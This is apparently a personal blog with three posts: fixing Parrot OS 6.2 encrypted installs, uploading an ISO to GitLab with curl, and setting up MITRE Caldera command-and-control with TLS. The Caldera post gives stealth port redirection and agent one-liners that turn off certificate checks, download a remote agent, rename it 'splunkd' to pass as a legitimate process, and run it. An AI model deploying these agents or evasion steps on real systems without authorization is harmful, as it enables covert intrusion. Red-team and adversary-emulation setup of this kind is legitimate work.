Saturday, January 4, 2025

Correcting Parrot Security 6.2 Full Disk Encryption

After seeing a bunch of traffic in Parrot's discord about encryption issues after a fresh install, I've finally got around to tracking down a fix. The Parrot Developers are aware of the issue and have been looking into the issue but turns out there's an easy to fix issues and can be solved at the end of the installation for user's who don't want to wait until the Parrot Development team releases an updated installation ISO.

There's two ways to get an encrypted Parrot install currently:

  1. Use my unofficial Architect ISO (shameless self plug)
  2. Follow this guide to correct the installer issues with the official Parrot installer

Fixing Encrypted Installation in Parrot 6.2

The rest of this article is focused on using/fixing the official Parrot OS security installer. Boot the ISO and proceed through the Parrot OS installer making sure to check the box to encrypt the installation (should be obvious). Allow the installer to move through its process and once it arrives at the "All Done" installer stage, make sure to uncheck the "Restart Now" button before clicking the "Done" button.

Calamares will exit. Then open up a terminal and become the root user with sudo.

┌─[user@parrot]─[~]
└──╼ $ sudo -i
[sudo] password for user: 

┌──[root@parrot]─[~]
└──╼ $

WARNING: The next step is absolutely crucial! Please triple check that the proper device is located for the specific system Parrot is being installed upon! This guide used a machine that only had one hard drive and Parrot was being installed as the only operating system on this machine. Failure to pay attention here could have bigger impacts on the system!

The installer will have created and mounted the new parrot installation to a mount point in /tmp. It's important that the device name and location be determined before continuing this process. To do this, the lsblk tool can be used and the output searched for a mount point in /tmp with a label containing "calamares-root". As can be seen in the screenshot below, the test system here has the new Parrot root filesystem mounted on "/tmp/calamares-root-mb21j4pl". NOTE: The text after calamares-root- WILL be different!

Three important aspects need to be noted here.

  1. The name of the device that was used for the Parrot installation -> /dev/sda
  2. The name of the calamares mount point -> /tmp/calamares-root-mb21j4pl
  3. Since UEFI boot was used on this system, the ESP partition name -> /dev/sda1
    1. If BIOS/MBR boot was used, there won't be an ESP so don't worry

With this information, the process can continue. Make sure to make the proper changes to commands below so the commands reflect the setup of the system in use!!

There are a number of special filesystems that need to be mounted. The following for loop can be used to quickly accomplish this (make sure to change the Calamares path to reflect the proper path for the system!).

┌──[root@parrot]─[~]
└──╼ $ for mount in dev dev/pts proc sys; do mount -o bind /${mount} /tmp/calamares-root-mb21j4pl/${mount}; done

If all goes well, there should be a number of bind mounts in that Calamares directory. To confirm, the mount command can be leveraged to double check that no errors occurred.

For UEFI boot ONLY: there are two other mounts that are necessary for this process to continue.

┌──[root@parrot]─[~]
└──╼ $ mount -o bind /sys/firmware/efi/efivars /tmp/calamares-root-mb21j4pl/sys/firmware/efi/efivars

┌──[root@parrot]─[~]
└──╼ $ mount /dev/sda1 /tmp/calamares-root-mb21j4pl/boot/efi

When all the mounts are done, an EFI system should have the following mountpoints setup (a BIOS/MBR system will not have the two bottom mountpoints obviously).

The next phase is to chroot into the Parrot installation to fix the encryption configuration. The chroot process will only produce a very small change at the terminal but effectively it will allow the process to affect the new Parrot installation rather then the live ISO environment. Looking closely in the screenshot below, the yellow boxes highlight the only change that will be noticed when the chroot command is run.

Once chroot'ed into the Parrot installation, the fixes can begin! This is a decision point as well. There is an option to have Parrot prompt for the encryption password only once at GRUB/Boot time or at GRUB/Boot time as well and during the post-GRUB init process. Which one is chosen is a personal choice. The only effect is whether one has to enter the decryption password once or twice on system startup (only pick one of the below commands).


Prompt for Passphrase Once

┌──[root@parrot]─[/]
└──╼ $ sed -i 's/none/\/crypto_keyfile.bin/' /etc/crypttab

Prompt for Passphrase Twice

┌──[root@parrot]─[/]
└──╼ $ sed -i 's/\(^.*discard\).*$/\1/' /etc/crypttab

Regardless of which option is chosen above or boot method, the next command needs to be run to update the system's initramfs file.

┌──[root@parrot]─[/]
└──╼ $ update-initramfs -u

For UEFI boot ONLY: UEFI systems still need one more command before the system is corrected. The Calamares installer neglects to actually place boot entries into nvram on the UEFI system apparently due to efivars not being mounted during the installation process. Since efivars was already mounted before chroot'ing, there's only one command that is needed in order to finish fixing the system.

┌──[root@parrot]─[/]
└──╼ $ dpkg-reconfigure -f noninteractive grub-efi-amd64

If all goes well with dpkg, there will be no reported errors. The screenshot below shows the process taken for a UEFI system in which the user only wants to type the decryption passphrase one time.

Final steps for UEFI and BIOS systems: Now that the changes have been made, the system can be sync'd and restarted.

┌──[root@parrot]─[/]
└──╼ $ sync; sync; exit

┌──[root@parrot]─[~]
└──╼ $ shutdown -h now

When the system has powered off, be sure to remove the Parrot installation media before turning the system back on! Upon powering the system back on, the user should be prompted for the LUKS decryption.

Success! Once the system finishes booting, Parrot can be used and is leveraging disk encryption. Hope this is helpful to others trying to get disk encryption up and running with the current Parrot 6.2 ISOs!

Saturday, December 28, 2024

Uploading a Binary to Gitlab Release

Over the past few months I've been working on reviving the Parrot OS Architect ISO and wanted to make a beta-release for folks to test it out without needing to build the ISO for themselves. For those unfamiliar with the old Parrot Architect ISO, it was essentially a Debian Netinstaller specific for Parrot OS. It allowed for far more customizations at installation time and is usually around 10 times smaller than the normal Parrot Live ISO! It is worth noting though that the Architect ISO is solely for installation and cannot be used as a live instance of Parrot. If anyone is interested in the current release of my non-official Architect ISO, it can be downloaded on the releases page. The rest of this article discusses the process used to upload the ISO to GitLab for a release.


GitLab Releases

Being new to using GitLab for my personal projects has led to many new learning experiences! With the creation of the previously mentioned Architect ISO, I wanted to be able to provide a known working ISO file to others in order to have more beta-testers. In Github, this process is very simple/straight-forward but in GitLab this wasn't the case. Now that I've done it, the high-level process is straight forward but very different than GitHub.

  1. Create a GitLab Personal Access Token (PAT) with API rights
  2. Obtain the project's GitLab number
  3. Use Curl to post the binary file(s) to GitLab Packages
  4. Create a release using the newly created package

Beginning with the assumptions that a project already exists and that a PAT has been obtained, let's walk through how to upload a binary file to a package in GitLab.

Obtain Project ID

Obtaining the Project ID for the project for which the binary file needs to be uploaded is as easy as visiting the project's page on GitLab and then clicking the three dots to the right of the "Fork" button.

Once the project ID and the PAT have been obtained, the CURL utility can be used to upload the necessary binary files to packages within GitLab.

curl --location --header "PRIVATE-TOKEN: <GITLAB_PAT>" --upload-file /local/path/to/file https://gitlab.com/api/v4/projects/<PROJECT_ID>/packages/generic/<ANY_PACKAGE_NAME>/<ANY_PACKAGE_VERSION>/<DESIRED_FILENAME>

Below is the breakdown of the necessary URL components in the above CURL command.

  1. GITLAB_PAT -> Gitlab PAT obtained earlier
  2. PROJECT_ID -> Project ID obtained earlier
  3. ANY_PACKAGE_NAME -> The desired name for the package on GitLab
  4. ANY_PACKAGE_VERSION -> The desired version string for the package
  5. DESIRED_FILENAME -> The desired name for the uploaded file

So what does an end to end curl command look like?

curl --location --header "PRIVATE-TOKEN: glpat-XXXXXXXXXXX" --upload-file /tmp/Parrot-6.2_Architect-amd64.iso https://gitlab.com/api/v4/projects/64710095/packages/generic/Parrot_Arch_6.2-Unofficial/1.0.0/Parrot-6.2_Architect-amd64.iso

If everything goes well with the upload, the only indication of a successful upload at the command line will be a JSON message that simply says '201 Created'. To confirm the upload, navigate to the project's 'Deploy' -> 'Package Registry' page on the left hand side of the GitLab web interface.

Once on the package registry page, the newly uploaded file should be visible.

Now that the file has been uploaded, the link to the package can be used in a GitLab release as a 'Release Asset' to link the newly uploaded file to the release.

Once the release information has been filled in and the release created, users will be able to visit the release and download the associated files directly from the release page!

While not as easy of a process as GitHub, at least it is still possible to add files to GitLab releases! Hope this helps save someone else some time in the future.

Thursday, March 7, 2024

Caldera v.5 as a Non-Root User with Encryption

Recently got to see Caldera in action. It's certainly an interesting platform that offers some useful C2 functionality, reporting, and ATT&CK technique mapping. As such I thought it would be a good tool to setup and learn how to better use for myself. Reading into Caldera, I saw that it supported TLS (through it's confusingly named plugin called 'SSL plugin') which is arguably a must for C2 to be useful/hidden.

Virtual Machine Setup

  1. Devuan 5 (effectively Debian 12 bookworm)
  2. Single network interface (eth0)
  3. Internet access for Caldera/repo access
  4. 2 CPU cores and 8GB of ram - Suggestion but can probably be lower

We'll start the instructions here assuming that Devuan is already installed and fully updated. The default Devuan install will need some modifications to apt's sources.list file, mainly that contrib and non-free sources will need to be added. This can be easily accomplished with sed as the root user. With apt configured properly, most of the rest of the system dependencies can be installed.

root@Devuan:~# sed -i 's/ main / main contrib non-free /' /etc/apt/sources.list

root@Devuan:~# apt install libucl1 zlib1g haproxy golang-1.19 python3-venv python3-pip openssl iptables

root@Devuan:~# apt install npm --no-install-suggests --no-install-recommends

In order to save space on the system, the second and third commands are intentionally two separate commands! There is one dependency that is still needed and while the package is available in the repositories, it's currently not packaged for Devuan 5/Debian 12. None the less, it can still be pulled and installed without issues from an older release of Devuan/Debian. The package is upx-ucl. NOTE: Make sure to get the one for the proper CPU architecture of the system (the system in this guide is an x86_64).

root@Devuan:~# wget -c http://deb.devuan.org/merged/pool/DEBIAN/main/u/upx-ucl/upx-ucl_3.95-1_amd64.deb && dpkg -i upx-ucl_3.95-1_amd64.deb

Caldera Installation

At this point, all of the system-wide dependencies should be installed. The next steps will proceed as the non-root user that caldera will be run as. For the purposes of this article the username of 'user' will be used.

user@Devuan:~$ cd /home/user

user@Devuan:~$ git clone https://github.com/mitre/caldera.git --recursive

The above will clone Caldera into a folder located at /home/user/caldera. For the purposes of not trampling on system python libraries and due to Mitre providing a requirements.txt file, a python virtual environment will be used to maintain the required dependencies for Caldera.

user@Devuan:~$ python3 -m venv /home/user/caldera && cd /home/user/caldera

user@Devuan:~/caldera$ source bin/activate

Notice that the prompt will change once the python virtual environment has been activated! This is important in order to install Caldera's dependencies into the Caldera virtual environment. For more information about python virtual environments, check out this article about why to use them.

(caldera) user@Devuan:~/caldera$ pip3 install -r requirements.txt

If all goes well with pip3 installing the requirements. It's time to build the web interface. If Caldera is going to be used via remote systems, ie not accessed from the machine that Caldera is installed on, there is one change that needs to be done before building the server.

(caldera) user@Devuan:~/caldera$ sed 's|VITE_CALDERA_URL=.*|VITE_CALDERA_URL=http://|' plugins/magma/.env.template > plugins/magma/.env

At this point Caldera can be launched and run on the default ports without encryption. NOTE: The --build part needs to be run and complete at least once before moving on to the rest of this guide!

(caldera) user@Devuan:~/caldera$ python3 server.py --insecure --build

Now from another machine, navigate to http://<CALDRA_IP>:8888 and login with the default credentials of red/admin or blue/admin depending on which "team" you're wanting to leverage.

TLS Configuration

Once it is confirmed that Caldera is working or if just skipping ahead to get the TLS configuration, ensure Caldera isn't currently running (ctrl+c will stop caldera if it was launched following the previous instructions). The first thing that needs to be done is the creation of a certificate and associated key. Some thought should be placed into this step as the normal process will generate a self-signed certificate which comes with its own set of problems. Regardless, this guide will continue with a self-signed cert.

(caldera) user@Devuan:~/caldera$ cd /home/user/caldera/plugins/ssl

(caldera) user@Devuan:~/caldera/plugins/ssl$ openssl req -x509 -newkey rsa:4096 -out conf/caldera_cert.pem -keyout conf/caldera_cert.pem.key -nodes

Openssl will prompt for some of the fields to be set in the certificate. It is highly recommended to change these from the defaults.

The next step is to configure haproxy to use this certificate. Mitre provides a haproxy template where all that needs configured is the path to the certificate.

(caldera) user@Devuan:~/caldera/plugins/ssl$ cp templates/haproxy.conf conf/

(caldera) user@Devuan:~/caldera/plugins/ssl$ sed -i 's|bind \*:8443 ssl .*|bind \*:8443 ssl crt plugins/ssl/conf/caldera_cert.pem|' conf/haproxy.conf

The final step is to enable the Caldera SSL plugin in the configuration file.

(caldera) user@Devuan:~/caldera$ cd ~/caldera && sed '/- training/a - ssl' conf/default.yml > conf/local.yml

Final System Configuration

With the certificate and associated key configured, there are a few system tasks that need to be configured now. The first is that the user's enviornment path variable is unlikely to contain the path necessary for Caldera to call haproxy. On Devuan if the user's path is compared to the location of haproxy on the system, one can see that there is a disconnect.

(caldera) user@Devuan:~/caldera$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

(caldera) user@Devuan:~/caldera$ ls -l /usr/sbin/haproxy 
-rwxr-xr-x 1 root root 3140224 Dec 16 10:41 /usr/sbin/haproxy

As can be seen, user's path doesn't include the /usr/sbin directory. Easy fix by adding it to the user's path variable in the ~/.bashrc file.

caldera) user@Devuan:~/caldera/plugins/ssl$ echo "$PATH:/usr/sbin" >> ~/.bashrc

The next step necessary is to configure the system to allow the user to raise the number of open file descriptors as needed by haproxy. PAM on Linux systems will easily allow this to occur (need root privileges to do this). In order for the previous changes to take effect, a logout and login will be needed.

root@Devuan:~# echo "user hard nofile 45000" > /etc/security/limits.d/caldera_haproxy.conf

Finally! At this point, Caldera should be setup and the system configured to allow a non-root user to launch caldera.

(caldera) user@Devuan:~/caldera$ cd ~/caldera && python3 server.py

Extra OPSEC item

If one is looking to keep things a bit more stealthy, it would be wise to leverage iptables/nftables to port redirect TCP/443 (normal HTTPS port) to TCP/8443 (Caldera's default https port when running as a non-root user). The below iptables commands will redirect inbound TCP/443 to TCP/8443 and it will redirect outbound TCP/8443 to TCP/443!

root@Devuan:~# iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8443

root@Devuan:~# iptables -t nat -I OUTPUT -o eth0 -p tcp --sport 8443 -j REDIRECT --to-ports 443

NOTE: These iptables rules are one offs and would need to be run every time the system is rebooted and other existing rules need to checked to ensure the rules are placed appropriately on the system. If interested in making these rules persistent, check out the iptables-save command from iptables-persistent package in Devuan/Debian!

Using with agents

With the above code, caldera agents can now be pointed to standard https:// links rather than having to specify a port as well (ports aren't common in URL's and might seem suspicious to blue team analysts). One point to keep in mind is that this guide is using a self-signed cert so in order for common operating system tools to trust the cert, insecure flags will need to be used.

For the Powershell agent download, the following string can be added to Calreda's commands to instruct Powershell to ignore the self-signed certificate.

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

Make sure that the code snippet goes before the actual call to download the file. For example in the standard sandcat agent:

$server="https://<SERVER_IP_OR_HOSTNAME>";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$data=$wc.DownloadData($url);
[... Truncated ...]

Similar functionality exists for the Linux agents as well. To do this with the Linux agents a curl argument to not check certificates (--insecure or -k) can be added to Caldera's commands.

server="https://<SERVER_IP_OR_HOSTNAME>";
curl -s --insecure -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -server $server -group red -v

Calderad Service?

If there's interest, I've also written up an init script/program to start, stop, and restart Caldera as configured above as a system service. I'd be happy to share the conf files if desired (may end up throwing them into a repo as well, I'll update this article with links if I do).